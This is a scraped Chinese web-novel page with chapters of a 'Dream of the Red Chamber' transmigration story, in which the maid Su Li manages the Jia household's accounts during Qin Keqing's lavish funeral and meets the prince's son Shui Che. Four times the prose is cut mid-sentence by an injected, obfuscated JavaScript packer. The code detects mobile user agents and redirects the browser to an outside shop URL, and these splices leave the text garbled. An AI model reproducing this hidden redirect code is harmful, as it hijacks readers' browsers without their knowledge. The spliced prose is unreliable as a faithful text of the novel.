苏璃心中警醒，面上却不露声色，只淡淡道：“李管事说笑了，跑海风波险恶，岂是安稳之道。还是办好府里的差事要紧。” 李十儿讪讪一笑：“姑娘说的是，是小的一时妄言了。”便告辞离去。 苏璃看着他背影，心中盘算。李十儿有见识，有门路，也有野心，或可一用？但同样需要谨慎驾驭。 资金方面，她更是小心翼翼。她将平日积攒的月钱和赏赐，大部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908606|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分换成小巧不易察觉的金银锞子，藏在极其隐秘处。同时，她开始利用核对账目的机会，留意府中那些管理不善、常年亏损的铺面、田庄。 她发现，城外有一处小小的田庄，因地势低洼，收成一直不好，管事也不甚尽心，几乎年年报亏。她心中萌生一个念头：能否想办法将这片田庄的经营权弄到手？哪怕只是部分？以此作为试验田，尝试种植一些有经济价值的作物，或者……作为未来秘密活动的掩护据点？ 这想法极为大胆，实施起来困难重重。但她知道，必须一步步来。她开始有意识地在凤姐面前，看似无意地提及那处田庄的窘境，并委婉建议：“……那庄子虽产出有限，但地方还算僻静，若能换个得力的管事，好生经营，即便不能大富，至少也能减些亏空，免得年年倒贴。” 凤姐正为省亲开支巨大、各处都要用钱而烦心，听了这话，倒也留了意，只道：“如今哪里顾得上那点小事，日后再说吧。” 苏璃知此事急不得，便不再多言，只将此事记下，等待时机。 这一切布局，都在极度隐秘中进行。她像一只悄无声息的蜘蛛，在繁华喧嚣的背面，于无人察觉的角落，开始编织一张极其脆弱、却可能通向未来的网。每一步都如履薄冰，每一个念头都可能招致灭顶之灾。 她不能相信任何人，甚至对平儿，她也绝口不提半分。唯一能让她感到一丝奇异的共鸣与压力的，竟是那个仅有两面之缘、身份云泥之别的北静王府的水澈。他仿佛能洞悉她平静表面下隐藏的野心与挣扎。 这日晚间，苏璃核对完最后一笔账目，已是月上中天。她揉着酸胀的手腕，推开账房的窗户，一股带着寒意的夜风涌入，吹散了满屋的墨臭和烛烟味。远处省亲工地的灯火依旧星星点点，如同这家族虚幻的荣光。而她的目光，却越过重重屋脊，投向南方漆黑的天际线。那里是茫茫大海，是未知的风险，也是渺茫的希望。 她轻轻从怀中摸出那本花样子册子，就着月光，看着上面无人能懂的符号，那代表着可能通往自由的种子、商路和微薄的资本。她的指尖在冰冷的纸页上划过，心中一片冰凉，却也燃烧着一点不肯熄灭的火焰。 就在这时，窗外廊下传来一阵急促的脚步声和小丫鬟压低嗓音的惊呼：“快！快去回二奶奶！东府珍大奶奶那边派人来说，蓉小奶奶……蓉小奶奶不好了！” 苏璃手一抖，册子差点滑落。秦可卿！ 她的心猛地一沉。该来的，终究还是要来了吗？这盛极而衰的转折点，竟如此之快？ 她迅速将册子塞回怀中，关紧窗户，深吸一口气，强迫自己冷静下来。眼前的危机，或许正是她暗中布局的变数所在。她整理了一下衣衫，快步向凤姐的正房走去。 夜色，愈发深沉了。 34. 秦可卿之死 夜晚东府传来的消息，如同一声闷雷，炸响在荣国府看似平静的夜空。 蓉大奶奶秦可卿，病势陡然沉重，竟至不起！消息传来时，凤姐刚卸了钗环准备安歇，闻讯惊得手一抖，玉簪掉在地上摔成了两截。她也顾不上了，一面急急穿衣，一面连声吩咐平儿备车，又让人立刻去请王太医，声音都变了调。 苏璃哪怕在在账房也听到了外面的骚动，心中那根紧绷的弦骤然拧紧。秦可卿！这个在《红楼梦》中象征着贾府由盛转衰的关键人物，她的死亡，竟在自己眼前拉开了序幕。她强迫自己镇定下来，迅速将桌上重要的账册单据锁进柜子，吹熄了灯，快步走向凤姐院子。 院子里已然乱作一团。丫鬟婆子们脚步匆匆，面色惶惶。凤姐已穿戴整齐，正由平儿扶着往外走，脸色煞白，嘴唇紧抿，眼中是难以置信的惊痛与一丝……难以言喻的慌乱。见到苏璃，她只急促地吩咐了一句：“你只管看顾好家里，账目上的事，一切等我回来再说！”便匆匆上了车，车轮碾过青石板路，发出急促的声响，消失在夜色里。 苏璃站在院门口，夜风带着刺骨的寒意。她知道，从这一刻起，贾府的天，要变了。秦可卿之死，不仅仅是一个年轻生命的消逝，更是一场巨大风波的开始。两府治丧，排场、银钱、人情往来……千头万绪，将如同决堤的洪水，汹涌而来。而她所处的这个位置，也必将会被推到风口浪尖上。 这一夜，宁荣两府灯火通明，无人安眠。苏璃回到账房，和衣靠在榻上，却毫无睡意。她能想象东府那边是怎样的忙乱与悲声，也能预见到明日之后，自己将要面对何等的局面。 贾元春省亲别墅的工程尚未完工，巨款流转的压力未减，如今又添上这突如其来的丧事，银钱开销将是一个无底洞。凤姐要总理两府内务，压力之大，可想而知。而自己这个掌管银钱账目的“钥匙”，必将成为各方势力觊觎、倾轧的焦点。 果然，天刚蒙蒙亮，各种消息便如同雪片般飞來。先是东府大管家赖升亲自过来，面色凝重地商议治丧的一应开支用度，开口便是要支取一大笔银子用于采买上等棺木、寿衣、祭品等物。接着，荣府这边各房的管事媳妇也纷纷来探口风，询问丧仪规格、各房需准备的祭礼、仆役们的孝服发放等事。账房门前，比往日更加喧嚷。 苏璃打起精神，应对各方。她深知此事敏感，一切需按旧例，且要符合宁国府的身份体面，不能授人以柄。对赖升，她客气而坚定地表示，所有支取需有东府珍大奶奶或尤氏的对牌和明确批示，并详细列明用途、数量、估价，经她核对无误、登记在册后，方可请凤姐画押支银。赖升虽心急，见她说得在理，且搬出了规矩，也只得应下，匆匆回去办理手续。 对于荣府内部的询问，苏璃一律回答：“一切事宜，皆等二奶奶从东府回来示下。各位妈妈嫂子且按旧例稍作准备，切勿擅自举动，以免忙中出错。”她语气平和，却带着不容置疑的力度，将一应纷扰暂时挡了回去。 平儿随凤姐去了东府，荣府内院暂时由苏璃坐镇。她知道自己此刻绝不能乱，每一步都必须谨小慎微。她将账房暂时交给一个可靠的小丫头看守，自己则亲自坐镇凤姐的正房外间，处理日常事务，接待回话的仆人，言语间滴水不漏，既安抚了人心，又稳住了局面。 直到傍晚时分，凤姐才拖着疲惫不堪的身子回来，眼窝深陷，声音沙哑。她一回来，便立刻召见赖升、林之孝等内外管家，商议治丧大事。苏璃在一旁伺候茶水，只听凤姐条分缕析，从棺椁、坟茔的选择，到僧道超度、宾客接待、车马调度、仆役分派……样样安排得井井有条、妥妥当当，脸上虽面带悲戚，但号令施为，杀伐决断，竟比素日更显得威严利落。苏璃不经在心中暗叹，王熙凤之才干，确非常人可及，越是大事，越是冷静。 接下来的日子，宁国府门前白茫茫一片，吊唁的宾客络绎不绝，号丧声、诵经声、器乐声日夜不绝。银钱更是如同流水般花了出去。上好杉木棺椁、帝王御赐的樯木、各色绫罗绸缎、金银纸札、三牲祭礼、僧道的衬钱、执事仆役的赏银……每一笔都是巨大的开销。苏璃的账房，成了最繁忙的地方。支取单据如雪片般飞来，她夜以继日地核对、登记、算账，眼下一片乌青，人也迅速消瘦下去。 她更加严格地执行着规矩。每一笔款项，无论大小，必有对牌、有批示、有明细。对于东府那边的开支，她尤其谨慎，必定与赖升或尤氏派来的管事媳妇反复核对清楚，确保名正言顺。她知道，不知多少双眼睛正盯着这笔庞大的丧葬费用，稍有不慎，便是万劫不复。 这日，贾珍派人送来一张单子，要支取一笔巨款，用于请钦天监阴阳司择日、以及打点内相戴权，为贾蓉捐个龙禁尉的前程。苏璃看着单子上那惊人的数目，心中凛然。秦可卿的丧事，竟成了贾珍为儿子买官铺路的契机！这其中的肮脏交易，让她心寒。但她不能表露分毫，只是依例检查了单据齐全，又特意询问了句：“珍大爷此事，可曾回明西府里的老爷、太太们知道？” 那送单子的下人陪笑道：“珍大爷已遣人回过政老爷了，想必是准的。” 苏璃不再多言，将单子收好，道：“此乃大事，需得二奶奶亲自定夺。我这就去回禀。”她拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908607|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着单子去见凤姐，凤姐正因连日劳累，心口疼的老毛病又犯了，歪在榻上由平儿揉着。看了单子，凤姐冷哼一声，脸上掠过一丝复杂的情绪，有嘲讽，有无奈，最终化为疲惫：“既然是东府大爷的主意，又回过老爷了，咱们还能拦着不成？依他吧。只是这银子……唉，你仔细记清楚，一笔是一笔。” 苏璃应下，心中明白，凤姐对贾珍此举亦是不满，却无力阻止。这更让她感到一种深深的无力感，这家族的腐朽，已从根子上烂掉了。 丧事还在继续，排场越来越大，开销与日俱增。公中的银子早已捉襟见肘，凤姐不得不再次动用体己，甚至又暗中向银号借贷。苏璃看着账本上飞速减少的数字和不断增加的借款利息，心头沉甸甸的。省亲别墅尚未完工，后续还需大笔投入，如今又加上这浩大的丧事，贾府的财政，已到了悬崖边缘。 然而，就在这一片忙乱与奢靡之中，苏璃却敏锐地察觉到一丝异样。这几日，来旺家的来回话的次数明显增多了，有时是回禀外面铺子的事，有时是送些东西，但眼神闪烁，总似有话要说。而周瑞家的，虽因之前的事低调了许多，但偶尔在院子里遇见，看她的眼神也带着一种难以言喻的探究。 这日晚间，苏璃核对完最后一笔账目，已是三更天。她揉着胀痛的额角，准备回房歇息。路过穿堂时，隐约听见角落里有压低的交谈声，像是来旺家的和另一个婆子。 “……听说那边病得蹊跷……好好的一个人……” “嘘！作死呢！这话也是能乱说的？仔细你的皮！” “我这不是……唉，只是觉得，这府里的事儿，真是说不好……” 声音戛然而止，似是发现了有人，迅速散去了。 苏璃站在原地，夜风吹过，遍体生寒。秦可卿的死，果然没那么简单！这府里的水，比她想象的还要深，还要浑。来旺家的、周瑞家的……这些昔日与王熙凤或亲近或疏远的人，似乎都在暗中窥探、蠢蠢欲动。 她抬头望着被府中白灯笼映得一片惨淡的夜空，心中警铃大作。秦可卿的死，不仅仅是一场丧事，更是一个信号，一个契机。它搅动了府中沉寂多年的暗流，让许多隐藏的矛盾和秘密，都浮出了水面。而自己，这个手握账目、深知府中财务虚实的人，恐怕早已成了某些人眼中必须除掉或者……必须掌控的棋子。 接下来的日子，恐怕才是真正的风雨飘摇。她握紧了袖中那本记录着秘密的花样子册子，那里面藏着渺茫的退路和希望。她必须更加小心，更加警惕。在这场即将到来的风暴中，她不仅要守住自己的位置，更要……设法活下去。 35. 秦可卿之死后续 秦可卿的丧事，果然办得风光浩大，如同其生前一般，极尽哀荣，却也透着一股难以言喻的奢靡与诡异。 宁国府门前，起了一座高高的宣坛，请了一百单八众禅僧在大厅上拜大悲忏，超度前亡后化诸魂；另设一坛于天香楼上，是九十九位全真道士，打四十九日解冤洗业醮。然后停灵于会芳园中，灵前另有五十众高僧、五十众高道，对坛按七作好事。 这般排场，耗费银钱如同流水。上好棺木、寿衣、旌幡、纸札，乃至僧道的衬钱、执事人的赏封，一应都是顶级的规格。 贾珍哭得泪人一般，恨不能代秦氏之死，自是发话“尽我所有”办理，底下人更是趋奉唯恐不及，采买用度，只求最贵，不问价值。 苏璃掌管的账房，成了这奢靡洪流的总闸口。每日里，宁府那边支取银钱的单子络绎不绝，名目繁多，数额巨大。采买上古奇珍楠木棺材的，定制江南顶级云锦寿衣的，置办赤金祭器的，打点僧道襯钱的，犒赏仆役的……每一张单子递到苏璃面前，她都需仔细核对用途、数量、估价，查验对牌印信，登记入册。 她心知这丧事花费远超常理，其中不知有多少人中饱私囊，但贾珍既发了话，凤姐又无力阻拦，她一个管账的丫鬟，更是无法置喙，只能严守本分，将每一笔账目记得清清楚楚，明明白白。她将各项开支分门别类，丧仪、祭品、僧道、人工、赏封，各立专账，数目、经手人、支取日期，一笔笔记得清晰可查。她知道，这奢靡的背后，是贾府日渐空虚的库银和不断累积的债务，这笔糊涂账，迟早有清算的一天，自己必须留下清晰的痕迹，方能在这未来的风波中，求得一线生机。 这日，贾珍又派人来支取一笔巨款，言明是用于请钦天监阴阳司择日，并打点内相戴权，为贾蓉捐个“龙禁尉”的前程。苏璃看着单子上那令人咋舌的数目，心中冷笑，这哪里是办丧事，分明是借机买官鬻爵，行贿钻营。她不动声色，查验了贾珍的对牌和手谕，又特意问了一句：“此事珍大爷可曾回过西府里老爷、太太们知道？” 那管事陪笑道：“珍大爷已遣人回过政老爷了，想必是准的。” 苏璃不再多言，依例登记画押，将单子收好，心中却记下重重一笔。贾府爷们这般胡作非为，奢靡无度，这艘大船，沉没是迟早的事。她更加坚定了暗中布局、另寻出路的决心。 丧事期间，宁荣两府人来人往，吊唁的宾客络绎不绝，上至王公贵族，下至亲友世交，车马轿子摆出去三四里远。府中仆役更是倾巢而出，迎来送往，置办酒席，忙得人仰马翻。凤姐作为内当家，更是忙得脚不点地，不仅要总理两府事务，还要协理宁国府丧仪，接待女眷，几日下来，便瘦了一圈，眼下的乌青比苏璃更甚。 这日，是首七第四日，正日子，宾客最多。凤姐在宁府灵前忙了半日，刚回西府想歇口气，就有丫鬟来报：“奶奶，来旺姐姐来了，说有要紧事回。” 凤姐揉着额角，不耐道：“什么事不能等会儿再说？” 话音未落，来旺家的已掀帘子进来，脸上带着几分急切，福了一福，道：“给奶奶请安。原不该这时候来扰奶奶，只是外头庄子上送来的几车粮食，因着路上耽搁了，今日才到。偏生这几日府里用粮多，库上存的米面眼看接济不上了，管粮的吴新登急得不行，让来回奶奶，看是现买些应急，还是怎的？” 凤姐一听，火气就上来了：“这点子事也来回我？库里没了，现去买就是！难道还让客人们饿着肚子不成？” 来旺家的忙道：“奶奶息怒。现买自然使得，只是如今市面上粮价一日三涨，又值丧事，采买量大，只怕……只怕要费些银子。吴新登的意思，是想请奶奶个示下，这采买的银子，从哪项下支取？是走公中的账，还是……” 凤姐柳眉倒竖，正要发作，平儿在一旁悄悄拉了她一下，接口道：“来旺嫂子，如今府里事忙，奶奶也乏了。这等小事，你让吴新登斟酌着办就是，总不好误了事。银子先从公账上支，记清楚用途数目，等璃姑娘核对了，再入账便是。奶奶，您看这样可好？”说着看向凤姐。 凤姐压下火气，挥挥手：“就按平儿说的办！快去！别在这儿杵着惹我生气！” 来旺家的连声应了，退了出去。 平儿这才对凤姐低声道：“奶奶何苦为这点事动气？来旺家的也是按规矩办事。如今府里用度大，各项开支混杂，她来问一句，也是怕账目上不清，日后麻烦。” 凤姐叹了口气，疲惫地靠在引枕上：“我也知道。只是这千头万绪的，事事都要我来决断，真真是要了命了！银子像水似的淌出去，进项却不见多，长此以往，可怎么得了！”她说着，目光转向窗外，喃喃道，“如今还能拆东墙补西墙，若是哪天……” 她没有说下去，但眼中的忧虑却明明白白。平儿也沉默了，只是轻轻替她揉着太阳穴。 这一切，都被侍立在一旁、正准备汇报账目的苏璃听在耳中，看在眼里。她心中凛然，凤姐的焦虑，正是贾府财政危机的真实写照。连日常米粮采买都需要临时筹措银两，可见府中现金流已紧张到何种地步。而来旺家的在此刻来回此事，看似是尽职，但时机拿捏得如此之巧，难保没有试探凤姐底线、或者故意添乱的心思。府中这些积年的老人，心思叵测，可见一斑。 她上前一步，轻声将方才几笔紧要账目汇报了。凤姐心不在焉地听着，末了摆摆手：“知道了，你看着办吧，记得账目清楚就好。”此刻，她已无暇顾及这些细务了。 苏璃退了出来，心中更加沉重。凤姐这棵大树，已是内里空虚，风雨飘摇。自己依附其上，必须早做打算。 回到账房，她发现来旺家的竟等在那里，见她回来，脸上堆起笑：“璃姑娘回来了？方才奶奶吩咐买粮的事，还得麻烦姑娘这边登记一下，支取银子。” 苏璃点点头，不动声色地拿出支取簿，问道：“采买多少？按什么价支取？吴管事可说了？” 来旺家的道：“说是先买上等白米一百石，精细白面五十石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908608|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应急。市价嘛……如今涨得厉害，只怕比平日要贵上三成不止。具体的，吴新登说他会去操办，姑娘只管按他报的数目支取便是。” 苏璃笔下顿了顿，抬眼看了来旺家的一眼，淡淡道：“嫂子，按规矩，支取银钱需有明细。这米面市价几何，采买何处，还须吴管事给个准数，立了单子，画了押，我这边才能登记支银。不然，账目不清，日后对不上，你我都有不是。” 来旺家的笑容僵了一下，随即又笑道：“姑娘说的是，是我心急了。我这就去让吴新登立单子来。”说着，便转身出去了。 苏璃看着她离去的背影，心中冷笑。吴新登是府里管粮的老管事，与来旺家的一向走得近。他们想趁着丧事忙乱，在采买上做手脚，虚报价格，中饱私囊，简直是司马昭之心。想浑水摸鱼？也得看她这关过不过得去！ 果然，过了一会儿，吴新登亲自拿着张单子来了，上面写着米面的数量和价格，果然比平日市价高出近四成。苏璃接过单子，仔细看了看，却不急着画押，只道：“吴管事，这价格……似乎比市面上贵了不少？我前几日出府，顺道问过米行，好像没到这个数。” 吴新登脸上掠过一丝不自然，干笑道：“姑娘有所不知，这几日因着……府上大事，市面上粮价一日三变，又急着要货，价格自然要高些。再者，咱们府上用的都是顶好的米面，价钱本就贵些。” 苏璃心中明镜似的，却不点破，只道：“既如此，还请吴管事在单子上注明，是因急需且品质上乘，故价格从权。另外，采买回来，需有库房验收画押，单据齐全，我这边的账才能销。这是规矩，吴管事是老人了，想必清楚。” 吴新登脸色变了几变，见苏璃神色平静，眼神却锐利，知道这丫头不好糊弄，只得讪讪地应了，在单子上加了备注，画了押。 苏璃这才依例登记，支了银子，心中却记下了这一笔。府中这些蠹虫，已是无所不用其极，连丧事期间的急用粮款都敢伸手，可见风气败坏到了何种地步。这也更加坚定了她必须尽快为自己谋划退路的决心。 忙碌中，日子一天天过去，秦可卿的丧事终于到了出殡的日子。那日，送殡的队伍浩浩荡荡，压地银山一般从北而至，宁荣街一带，一条街白漫漫人来人往，花簇簇官去官来，说不尽那光摇朱户金铺地，雪照琼窗玉作宫的气派。 苏璃作为内宅丫鬟，并未随行，只留在府中处理后续账目。她站在仪门内，听着外面传来的喧天鼓乐和哭声，看着府中瞬间冷清下来的院落，心中却没有丝毫轻松。她知道，这场奢靡的丧事，耗去的不仅仅是巨额的银钱，更是贾府所剩无几的元气和运势。风雨，就要来了。 而此刻，她最关心的，是前几日让一个小丫头悄悄送去“粤海记”打听南洋香料价格的信，不知是否有回音？她那本花样子册子上，又能添上怎样的一笔？这深宅大院外的天地，才是她真正的希望所在。她转身，快步走向账房，那里有她的战场，也有她通往未来的、渺茫而坚定的路。 36. 与水澈再遇 在八众禅僧于大厅上超度前亡后化诸魂、九十九位全真道士解冤洗业醮、五十众高僧对坛按七作好事之后，秦可卿的丧事总算尘埃落定，宁荣两府上下人等都像是被抽干了力气，连素日最喧闹的丫鬟小子们也安静了许多。 府中各处悬挂的白幡、白灯笼尚未撤尽，在秋日萧瑟的风里簌簌作响，平添几分凄清。 然而，表面的沉寂之下，是更深重的疲惫与隐隐的不安。省亲别墅的工程因丧事耽搁了月余，如今必须加紧赶工；而丧事奢靡留下的巨额亏空，如同悬在头顶的利剑，让当家理事的凤姐眉头一日紧似一日。 苏璃更是忙得脚不点地。她不仅要将丧事期间所有混乱的账目重新整理、分类、归档，还要处理因工期延误而积压下来的省亲工程款项结算，更需应对各房因丧事“随份子”、打赏下人等产生的琐碎账目纠葛。 她如同一个高速旋转的陀螺，只有深夜回到那方寸耳房，才能得到片刻喘息。饶是她年轻精力旺盛，这几日也清减了不少，下颌尖了，衬得一双眼眸越发黑沉沉的，只是那眼神里的沉静与锐利，却比往日更甚。 这日午后，她刚将一摞核对完的丧仪账册锁进柜子，揉了揉酸涩的手腕，平儿掀帘进来，脸上带着些许轻松的笑意：“可算是理出些头绪了。奶奶说，你这几日辛苦，后儿十五，府里因着丧事，这个月月钱发放推迟了，明日务必发放下去，免得底下人嘀咕。这是各房的份例单子，你核对了，预备好银两，明日一早发放。” 苏璃接过单子，应了声是。发放月钱是大事，尤其在府中银钱紧张、人心浮动的时候，更不能出错。她立刻着手准备，核对名册，计算银两，又去银库支取了相应的散碎银子和铜钱，一一称准、包好，直忙到掌灯时分。 次日一早，苏璃便带着两个小丫鬟，在靠近二门的一间敞厅里设了桌子，发放月钱。各房的丫头、婆子、小厮，按着次序前来领取，签字画押。 苏璃端坐桌后，面前摊开着名册和银包，神情专注，发放、登记、核验，一丝不乱。她注意到，不少人领了月钱，脸上并无多少喜色，反而有些忧心忡忡，交头接耳间，隐约听得“粮价又涨了”、“外头庄子上收成不好”等语。她心中暗叹，这府里的艰难，已渐渐传导至最底层了。 发放了大半，人渐渐稀少。苏璃正低头登记最后一笔，忽听门口有些动静，抬头一看，竟是宝玉屋里的麝月笑着引了一人进来。那人穿着玄色暗纹锦袍，外罩一件石青色素缎鹤氅，身姿挺拔，容颜清俊，神色疏淡，不是北静王府的四爷水澈又是谁？ 苏璃心头猛地一跳，握着笔的手微微一顿。他怎么来了？还径直到了这发放月钱的内院敞厅？ 只见麝月笑道：“璃姑娘，四爷来寻二爷，二爷正在老太太屋里说话，一时不得空。四爷说随意走走，没想到走到这里来了。”她又转向水澈，解释道，“四爷，这是发放月钱的苏璃姑娘。” 水澈目光平静地落在苏璃身上，微微颔首：“苏姑娘。”他语气寻常，仿佛只是偶遇一个面熟的丫鬟。 苏璃忙起身敛衽行礼：“奴婢见过四爷。不知四爷驾到，有失远迎。”她心中惊疑不定，面上却竭力维持着恭谨平静。 水澈扫了一眼桌上摊开的名册和银包，淡淡道：“姑娘在忙？是我唐突了。” “不敢。月钱已发放得差不多了。”苏璃垂下眼睫，对旁边的小丫鬟道，“快给四爷看座，上茶。” 水澈却摆摆手：“不必麻烦。我随意看看就走。”他并未坐下，反而向前走了两步，目光似乎不经意地掠过那些写着名字、画着押的领钱册子，以及桌角一叠尚未发放的、包得整整齐齐的银包。“府上发放月钱，倒是清晰。”他语气平淡，听不出褒贬。 苏璃不知他意欲何为，只得谨慎答道：“皆是旧例，奴婢不过照章办事。” “旧例？”水澈唇角几不可察地弯了一下，那笑意未达眼底，“能将旧例执行得如此一丝不苟，分毫不差，也是本事。”他顿了顿，目光转向她，“尤其，是在这般……多事之秋。” 最后四个字，他说得极轻，却像一根细针，轻轻刺了苏璃一下。她霍然抬眼，对上他那双深邃的眸子。那里面没有戏谑，没有探究，只有一种了然的平静，仿佛早已看透这府中繁华下的窘迫与她那点强撑的镇定。 他知道了。他一定知道了府中银钱紧张，甚至可能知道了丧事造成的亏空。他今日来，绝非偶然“走到这里”。 苏璃心念电转，迅速垂下眼帘，掩去眸中波动，只低声道：“四爷说笑了。府中蒙天恩祖德，一切安好。” 水澈不置可否，目光却落在她因连日劳累而略显苍白瘦削的侧脸上，和那眼底淡淡的青影上。他忽然道：“秦氏之丧，听闻办得甚是风光。” 苏璃心中警铃大作，这话更不好接。她斟酌道：“蓉大奶奶福薄，珍大爷悲痛逾恒，自是尽力操办，以尽哀思。” “尽力操办……”水澈重复了一遍，语气依旧平淡，却让苏璃感到一股无形的压力。他不再看她，转而望向窗外凋零的秋色，仿佛自言自语，“木秀于林，风必摧之。堆出于岸，流必湍之。有时候，过犹不及。” 这话如同惊雷，在苏璃耳边炸响！他是在提醒！提醒这奢靡的丧事可能带来的祸患！他究竟知道多少？又为何要提醒她一个微不足道的丫鬟？ 她只觉得口干舌燥，背脊微微发凉，一时竟不知该如何回应。 水澈却已收回目光，重新看向她，那目光深不见底，仿佛能将她那点隐秘的心思和挣扎都看透。“苏姑娘似乎清减了些。差事再要紧，也当顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908609|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惜自身。”他说完，不等苏璃反应，便对一旁的麝月道，“既然宝玉不得空，我改日再来。走吧。” “四爷慢走。”苏璃忙敛衽相送。 水澈点了点头，玄色的身影从容不迫地向外走去，在门口略一停顿，并未回头，只留下清淡一句：“那日百巧斋外所言，望姑娘慎思。” 话音落下，人已消失在门外廊下。 苏璃站在原地，手中那支毛笔的笔尖，一滴墨汁悄然滴落，在名册上泅开一小团污渍。她浑然未觉，耳中只反复回响着水澈最后那句话。“百巧斋外所言”他指的是“真正开源”，还是“刚直易折”？抑或，两者皆有？ 他今日这番举动，看似随意，实则处处机锋。他看到了月钱发放的井然有序，也看到了这秩序之下隐藏的危机。他提及秦可卿奢靡的丧事，点出“过犹不及”，是警告，还是……某种形式的提醒？他最后那句“顾惜自身”，更是意味深长。 这个男人，如同一个冷静的旁观者，站在更高的地方，俯瞰着荣国府这局棋。而她，不过是他偶然注意到的一枚棋子，或许，是一枚让他觉得“有点意思”的棋子。他今日的“偶遇”和寥寥数语，是在观察，是在试探，还是……有别的用意？ 苏璃说不清心中是何滋味。有被看透的惊悸，有面对未知的警惕，但奇怪的是，竟也有一丝极淡的、难以言喻的悸动。 在这深宅大院中，人人或沉溺享乐，或勾心斗角，或麻木度日，唯有他，水澈，用那样一双冷冽透彻的眼睛，洞悉着一切，包括她那点不甘蛰伏的野心。他并不赞同，或许也不关心，但他看到了。这种“被看到”的感觉，对于一直如同影子般生存、暗中筹划的苏璃而言，竟有种诡异的、打破孤寂的共鸣。 “姑娘？姑娘？”小丫鬟的呼唤将她惊醒，“月钱发完了，这些册子……” 苏璃深吸一口气，强迫自己冷静下来。她看向名册上那团墨渍，拿出张干净的纸，小心吸干，然后提笔，在一旁空白处，用只有自己能懂的符号，快速记下了几个字：“木秀于林，过犹不及。开源，慎独。” 她将册子合上，对丫鬟道：“收拾了吧。账目仔细核对一遍，入库。”声音已然恢复了平日的沉静。 然而，她的心中却再也无法平静。水澈的出现，像一颗投入古潭的石子，激起的涟漪久久不散。他究竟是一个危险的变数，还是一个……可能的契机？ 她不知道。但她知道，从今往后，她在这府中的每一步，恐怕都要考虑这双来自王府的、冷静莫测的眼睛了。 窗外秋风渐紧，卷起几片枯黄的落叶。苏璃拢了拢衣襟，觉得今年的秋天，似乎格外的冷。而那双玄色身影带来的无形压力与那一丝诡异的悸动，却如同一点微弱的火星，在她冰封的心湖深处，悄然闪烁了一下。 37. 元春省亲 水澈那句“木秀于林，风必摧之”的警告，如同秋日里最后一声惊雷，虽未带来即刻的风雨，却让苏璃心底那份不安与警觉，沉甸甸地压了许久。 她越发谨言慎行，除了账房必要事务，几乎足不出户，连偶尔与宝玉房中几个相熟的大丫头说话，也加倍留神。然而，日子依旧要过，账目依旧繁杂，府中因省亲大事临近而日益加重的喧嚣与忙碌，也容不得她有半分懈怠。 秦可卿的丧事余波未平，宁荣两府尚未完全从那场奢靡的哀荣中缓过气来，另一件泼天喜事——贤德妃元春省亲——便已迫在眉睫。两府上下，从主子到奴才，无不将全副精神投入其中，仿佛要将丧事的晦气一扫而空，用十倍百倍的热闹与辉煌，来迎接这“烈火烹油，鲜花着锦”的盛事。 省亲别墅——大观园，更是日夜赶工，匠人如蚁，灯火彻夜不息。银子流水般花出去，比之秦氏丧事有过之而无不及。贾琏、贾珍等人忙得脚不沾地，贾政虽不惯俗务，也常被请去商议题匾额、定规制等事。 内眷这边，王夫人、邢夫人日日与凤姐计议，从接驾礼仪、宴席摆设，到各处陈设、丫鬟仆役的调派，无不精细到极致。凤姐更是忙得几乎以理事厅为家，眼下的乌青用再厚的脂粉也遮掩不住，脾气也越发急躁，平儿和苏璃在她跟前回话，都需打起十二分精神。 苏璃的账房，成了这庞大开支的核心枢纽。采买奇花异草、珍玩古器、绸缎绫罗、各色器皿的银钱，支付匠人工钱物料费用的款项，打点宫内太监、执事人员的赏封……每日里票据如雪片般飞来。 她与几个识字的丫鬟日夜轮值，登记、核对、分类、归档，不敢有丝毫错漏。每一笔支出，她都清清楚楚记下，心中那本暗账，关于贾府财政的窟窿，也随之越描越大，越描越黑。她冷眼看着这看似繁花似锦、实则透支根基的盛景，心中那股寒意与筹谋，也越发清晰坚定。 